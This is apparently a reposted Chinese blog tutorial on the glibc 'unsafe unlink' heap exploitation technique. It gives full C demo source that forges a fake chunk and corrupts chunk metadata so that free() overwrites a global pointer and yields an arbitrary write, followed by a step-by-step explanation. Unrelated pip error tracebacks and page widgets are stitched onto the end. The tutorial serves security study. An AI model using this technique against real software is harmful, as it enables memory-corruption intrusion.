5.unsafe_unlink

源代码 

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <string.h>
 4 #include <stdint.h>
 5 
 6 
 7 uint64_t *chunk0_ptr;
 8 
 9 int main()
10 {
11     fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
12     fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
13     fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
14     fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
15 
16     int malloc_size = 0x80; //we want to be big enough not to use fastbins
17     int header_size = 2;
18 
19     fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
20 
21     chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
22     uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
23     fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
24     fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
25 
26     fprintf(stderr, "We create a fake chunk inside chunk0.\n");
27     fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
28     chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
29     fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
30     fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
31     chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
32     fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
33     fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
34 
35     fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
36     uint64_t *chunk1_hdr = chunk1_ptr - header_size;
37     fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
38     fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
39     chunk1_hdr[0] = malloc_size;
40     fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
41     fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
42     chunk1_hdr[1] &= ~1;
43 
44     fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
45     fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
46     free(chunk1_ptr);
47 
48     fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
49     char victim_string[8];
50     strcpy(victim_string,"Hello!~");
51     chunk0_ptr[3] = (uint64_t) victim_string;
52 
53     fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
54     fprintf(stderr, "Original value: %s\n",victim_string);
55     chunk0_ptr[0] = 0x4141414142424242LL;
56     fprintf(stderr, "New Value: %s\n",victim_string);
57 }

运行结果

 

首先申请一个0x80大小的堆块chunk0,数据首地址存放在全局变量chunk0_ptr处

然后再申请一个0x80大小的chunk1

之后再chunk0中伪造一个0x70+0x10大小的堆fake

 伪造fake->fd=&chunk0_ptr-0x18

fake->bk=&chunk0_ptr-0x10

绕过unlink时

P->fd->bk != P || P->bk->fd != P) == False的检测

之后再修改chunk1->prev_size=0x80 即为伪造堆fake的大小0x70+0x10

chunk1->size->prev_inuse=0 

造成伪造的堆fake已释放的假象

可以看到0x603090处由0x00变为0x80  0x603098处由0x91变为0x90

 之后free(chunk1)  因为前一块堆fake被伪造成了已释放的样子

两块都释放的堆块相连,所以向前合并

会执行unlink(fake)操作,这会修改&fake的值,即chunk0_ptr的值

chunk0_ptr=fake->fd=&chunk0_ptr-0x18

之后修改chunk0_ptr[3]的内容 即为修改chunk_ptr的值

这里将chunk_ptr赋值为字符串地址

再修改chunk_ptr[0]的值,即为修改chunk_ptr所指地址处前8字节内容

这里将字符串地址处前8字节修改为BBBBAAAA

这里例子展示了unsafe_unlink,可以造成向指定地址写入任意内容的危害。

 

转载于:https://www.cnblogs.com/pfcode/p/10991415.html

ERROR: Exception: Traceback (most recent call last): File "D:\Program\anaconda3\lib\shutil.py", line 816, in move os.rename(src, real_dst) PermissionError: [WinError 5] 拒绝访问。: 'd:\\program\\anaconda3\\lib\\site-packages\\caffe2' -> 'C:\\Users\\wxg\\AppData\\Local\\Temp\\pip-uninstall-ha7clypd' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "D:\Program\anaconda3\lib\site-packages\pip\_internal\cli\base_command.py", line 160, in exc_logging_wrapper status = run_func(*args) File "D:\Program\anaconda3\lib\site-packages\pip\_internal\commands\uninstall.py", line 98, in run uninstall_pathset = req.uninstall( File "D:\Program\anaconda3\lib\site-packages\pip\_internal\req\req_install.py", line 660, in uninstall uninstalled_pathset.remove(auto_confirm, verbose) File "D:\Program\anaconda3\lib\site-packages\pip\_internal\req\req_uninstall.py", line 373, in remove moved.stash(path) File "D:\Program\anaconda3\lib\site-packages\pip\_internal\req\req_uninstall.py", line 271, in stash renames(path, new_path) File "D:\Program\anaconda3\lib\site-packages\pip\_internal\utils\misc.py", line 311, in renames shutil.move(old, new) File "D:\Program\anaconda3\lib\shutil.py", line 834, in move rmtree(src) File "D:\Program\anaconda3\lib\shutil.py", line 750, in rmtree return _rmtree_unsafe(path, onerror) File "D:\Program\anaconda3\lib\shutil.py", line 615, in _rmtree_unsafe _rmtree_unsafe(fullname, onerror) File "D:\Program\anaconda3\lib\shutil.py", line 615, in _rmtree_unsafe _rmtree_unsafe(fullname, onerror) File "D:\Program\anaconda3\lib\shutil.py", line 620, in _rmtree_unsafe onerror(os.unlink, fullname, sys.exc_info()) File "D:\Program\anaconda3\lib\shutil.py", line 618, in _rmtree_unsafe os.unlink(fullname) PermissionError: [WinError 5] 拒绝访问。: 'd:\\program\\anaconda3\\lib\\site-packages\\caffe2\\contrib\\aten\\aten_test.py'
07-09
Exception: Traceback (most recent call last): File "C:\ProgramData\Anaconda3\lib\shutil.py", line 557, in move os.rename(src, real_dst) PermissionError: [WinError 5] 拒绝访问。: 'c:\\programdata\\anaconda3\\lib\\site-packages\\numpy' -> 'C:\\Users\\30639\\AppData\\Local\\Temp\\pip-uninstall-aa4gj48h\\programdata\\anaconda3\\lib\\site-packages\\numpy' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\ProgramData\Anaconda3\lib\site-packages\pip\_internal\basecommand.py", line 228, in main status = self.run(options, args) File "C:\ProgramData\Anaconda3\lib\site-packages\pip\_internal\commands\uninstall.py", line 68, in run auto_confirm=options.yes, verbose=self.verbosity > 0, File "C:\ProgramData\Anaconda3\lib\site-packages\pip\_internal\req\req_install.py", line 661, in uninstall uninstalled_pathset.remove(auto_confirm, verbose) File "C:\ProgramData\Anaconda3\lib\site-packages\pip\_internal\req\req_uninstall.py", line 219, in remove renames(path, new_path) File "C:\ProgramData\Anaconda3\lib\site-packages\pip\_internal\utils\misc.py", line 273, in renames shutil.move(old, new) File "C:\ProgramData\Anaconda3\lib\shutil.py", line 569, in move rmtree(src) File "C:\ProgramData\Anaconda3\lib\shutil.py", line 507, in rmtree return _rmtree_unsafe(path, onerror) File "C:\ProgramData\Anaconda3\lib\shutil.py", line 391, in _rmtree_unsafe onerror(os.unlink, fullname, sys.exc_info()) File "C:\ProgramData\Anaconda3\lib\shutil.py", line 389, in _rmtree_unsafe os.unlink(fullname) PermissionError: [WinError 5] 拒绝访问。: 'c:\\programdata\\anaconda3\\lib\\site-packages\\numpy\\add_newdocs.py'
06-02
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值